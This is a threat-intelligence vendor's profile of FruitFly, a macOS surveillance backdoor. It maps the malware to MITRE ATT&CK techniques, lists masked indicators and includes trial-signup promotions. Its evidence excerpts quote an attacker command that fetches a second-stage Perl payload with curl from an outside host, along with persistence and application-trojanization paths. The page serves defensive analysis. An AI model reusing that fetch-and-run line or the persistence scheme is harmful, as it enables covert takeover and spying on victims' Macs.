Malware

FruitFly

FruitFly, also known as Quimitchin and commonly tracked as OSX/FruitFly, is a macOS backdoor used for long-term covert surveillance and remote control of infected Apple systems. It became notable as one of the first widely discussed macOS malware families of 2017 and has been associated with infections that persisted undetected for years. Reporting has linked FruitFly activity to selective targeting of biomedical research institutions, while later sinkholing of related infrastructure showed a broader population of infected Macs, many appearing to be residential systems in the United States.

FruitFly is characterized by extensive operator control over compromised hosts. Documented capabilities include screen capture, keylogging, webcam image capture, host profiling, process enumeration, process termination, arbitrary command execution, file management, and simulated user interaction through mouse movement and keyboard events. Its command set supports reading, writing, renaming, copying, and deleting files, as well as collecting system and network-adjacent information from infected Macs. These features make it suitable for espionage and hands-on remote operations rather than simple smash-and-grab theft.

On macOS, FruitFly uses persistence mechanisms centered on LaunchAgents, and some variants or associated installers also support LaunchDaemons and application trojanization. It has been observed hiding components with dot-prefixed names to reduce visibility in default user views. Analyses of FruitFly.B describe an obfuscated Perl-based persistent component that decodes and launches an embedded Mach-O payload, changes its process name for basic stealth, and communicates with command-and-control infrastructure over a simple tasking protocol. Related installer scripts have shown multiple deployment modes, including user-level persistence, root-level persistence, and replacement of legitimate application executables with wrapper scripts that fetch and launch the malware.

The initial infection vector is not definitively established for all cases. However, associated deployment tooling and law-enforcement reporting indicate operators likely leveraged direct access to exposed Mac services and weak credentials in at least some intrusions. FruitFly’s long dwell time, low detection rate, and broad remote-control functionality mark it as a significant macOS espionage malware family.

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

21 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique

T1078Valid AccountsEvidence1

It still doesn’t help to understand the infection vector, which has been described as port scanning for services with weak or no passwords... AFP, RDP, VNC, SSH (port 22), and Back to My Mac (BTMM), which would be targeted with weak passwords or passwords derived from 3rd party data breaches.

Execution

1 technique

T1574Hijack Execution FlowEvidence1

Instead of direct code execution, the second stage payload download is achieved by “infecting” regular applications... Moved original, appending 2 Wrote dropper to /Applications/Adobe Reader.app/.../Adobe Reader Updater Helper ... exec $0 . '2' ,@ARGV ;

Persistence

4 techniques

T1078Valid AccountsEvidence1

T1543.001Launch AgentEvidence2

Bundlore can persist via a LaunchAgent. Calisto adds a .plist file to the /Library/LaunchAgents folder to maintain persistence. CoinTicker creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.

T1543.004Launch DaemonEvidence1

Let’s try the FILE can end in /+fpsaud to treat up to / as the main drive root and create a root infection option... Doing root /Library/LaunchDaemons/com.adobe.fpsaud2.plist => /Library/Application Support/Adobe/fpsaud ... Wrote /Library/LaunchDaemons/com.adobe.fpsaud2.plist

T1547.015Login ItemsEvidence1

FruitFly available public analysis describes persistency only at user level and with a LaunchAgent at ~/Library/LaunchAgents/com.client.client.plist ... Wrote /Users/reverser/Library/LaunchAgents/com.client.client.plist

Privilege Escalation

4 techniques

T1078Valid AccountsEvidence1

T1543.001Launch AgentEvidence2

T1543.004Launch DaemonEvidence1

T1547.015Login ItemsEvidence1

Stealth

8 techniques

T1027Obfuscated Files or InformationEvidence1

"Action RAT's commands, strings, and domains can be Base64 encoded within the payload." / "ADVSTORESHELL... strings... encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed." / "APT29 has used encoded PowerShell commands." / "APT41 used VMProtected binaries..."

T1027.010Command ObfuscationEvidence1

T1036MasqueradingEvidence1

Doing root /Library/LaunchDaemons/com.adobe.fpsaud2.plist => /Library/Application Support/Adobe/fpsaud ... FruitFly has specific code to support this third mode on a few variants of Adobe Acrobat Reader, Google Chrome, and TOCGenerator

T1070.004File DeletionEvidence8

The content repeatedly describes malware and threat actors deleting files, directories, droppers, logs, scripts, temporary files, exfiltrated archives, and uninstalling themselves to cover tracks or reduce forensic artifacts.

T1078Valid AccountsEvidence1

T1140Deobfuscate/Decode Files or InformationEvidence1

APT19 used Base64 to obfuscate executed commands; APT32 used Invoke-Obfuscation to obfuscate PowerShell; Aquatic Panda encoded PowerShell commands in Base64; numerous groups and malware used Base64, XOR, RC4, compression, encryption, variable substitution, and other methods to obfuscate scripts and commands.

T1564.001Hidden Files and DirectoriesEvidence3

The content repeatedly describes malware and threat actors creating hidden folders, adding dot prefixes to filenames, and setting file attributes such as hidden/system to conceal files and directories from users and defenders.

T1574Hijack Execution FlowEvidence1

Credential Access

1 technique

T1056.001KeyloggingEvidence1

Dubbed Fruitfly by some, both malware samples capture screenshots, keystrokes, webcam images, and information about each infected Mac.

Discovery

4 techniques

T1046Network Service DiscoveryEvidence2

Both generations of Fruitfly also collect information about devices connected to the same network.

T1057Process DiscoveryEvidence5

Tasklist can be used to discover processes running on a system. Numerous malware families and threat groups are described as listing running processes, collecting PIDs, checking for specific process names, or enumerating loaded modules.

T1082System Information DiscoveryEvidence1

Dubbed Fruitfly by some, both malware samples capture screenshots, keystrokes, webcam images, and information about each infected Mac.

T1083File and Directory DiscoveryEvidence5

The content is a long ATT&CK-style listing of groups and malware that can 'list files and directories,' 'search for files,' 'enumerate drives,' 'gather file metadata,' or 'browse file systems' on compromised hosts.

Lateral Movement

1 technique

T1021Remote ServicesEvidence1

Because there is direct code execution these two modes appear to be used when there is interactive access to the victim machine (for example weak RDP/VNC/SSH passwords)... The attacks via AFP now make sense because this script shows how that kind of access was being leveraged.

Collection

3 techniques

T1056.001KeyloggingEvidence1

Dubbed Fruitfly by some, both malware samples capture screenshots, keystrokes, webcam images, and information about each infected Mac.

T1113Screen CaptureEvidence5

The content is a MITRE ATT&CK-style listing of malware and threat actors that "can capture screenshots," "take screenshots," "perform screen captures," or "watch the victim's screen." It ends with references to "CopyFromScreen" and "xwd."

T1125Video CaptureEvidence1

A mysterious piece of malware that gives attackers surreptitious control over webcams... Dubbed Fruitfly by some, both malware samples capture screenshots, keystrokes, webcam images...

Command and Control

2 techniques

T1071Application Layer ProtocolEvidence1

After analyzing the new variant, Wardle was able to decrypt several backup domains that were hardcoded into the malware... Within two days of registering one of the addresses, close to 400 infected Macs connected to the server...

T1105Ingress Tool TransferEvidence1

This script is responsible for downloading the 2nd stage malicious payload... The second stage payload is downloaded using curl -s tmp1.hopto.org:57777/z.pl ... The .client will be the known malicious Perl script... created with the following code: docmd ( "curl -s tmp1.hopto.org:57777/z.pl > '$_[0]'" );

INDICATORS OF COMPROMISE

IOCs tracked for this family

4 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

2 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes

1 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other

1 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

domain●●●●●●●●●●●●View more in app7 years ago

hash.sha256●●●●●●●●●●●●View more in app7 years ago

domain●●●●●●●●●●●●View more in app7 years ago

uri●●●●●●●●●●●●View more in app7 years ago

ACTIVITY FEED

Recent activity

18 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

18 SOURCESView more in app

palo alto networks unit 42 blogNews

Jul 31, 2026

The Xcode Assassin Returns: A Deep Dive Into the Latest XCSSET Version

Mentioned only as historical comparison for misuse of the macOS defaults utility.

mitre attack websiteNews

Oct 21, 2021

Indicator Removal on Host: File Deletion, Sub-technique T1070.004 - Enterprise | MITRE ATT&CK®

Spyware malware with file deletion capability.

mitre attack websiteNews

Oct 21, 2021

Screen Capture, Technique T1113 - Enterprise | MITRE ATT&CK®

Spyware malware that captures desktop screenshots.

mitre attack websiteNews

Oct 21, 2021

Process Discovery, Technique T1057 - Enterprise | MITRE ATT&CK®

Backdoor malware capable of listing processes on the system.

+13 more in the timeline

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching4

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping21

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

FruitFly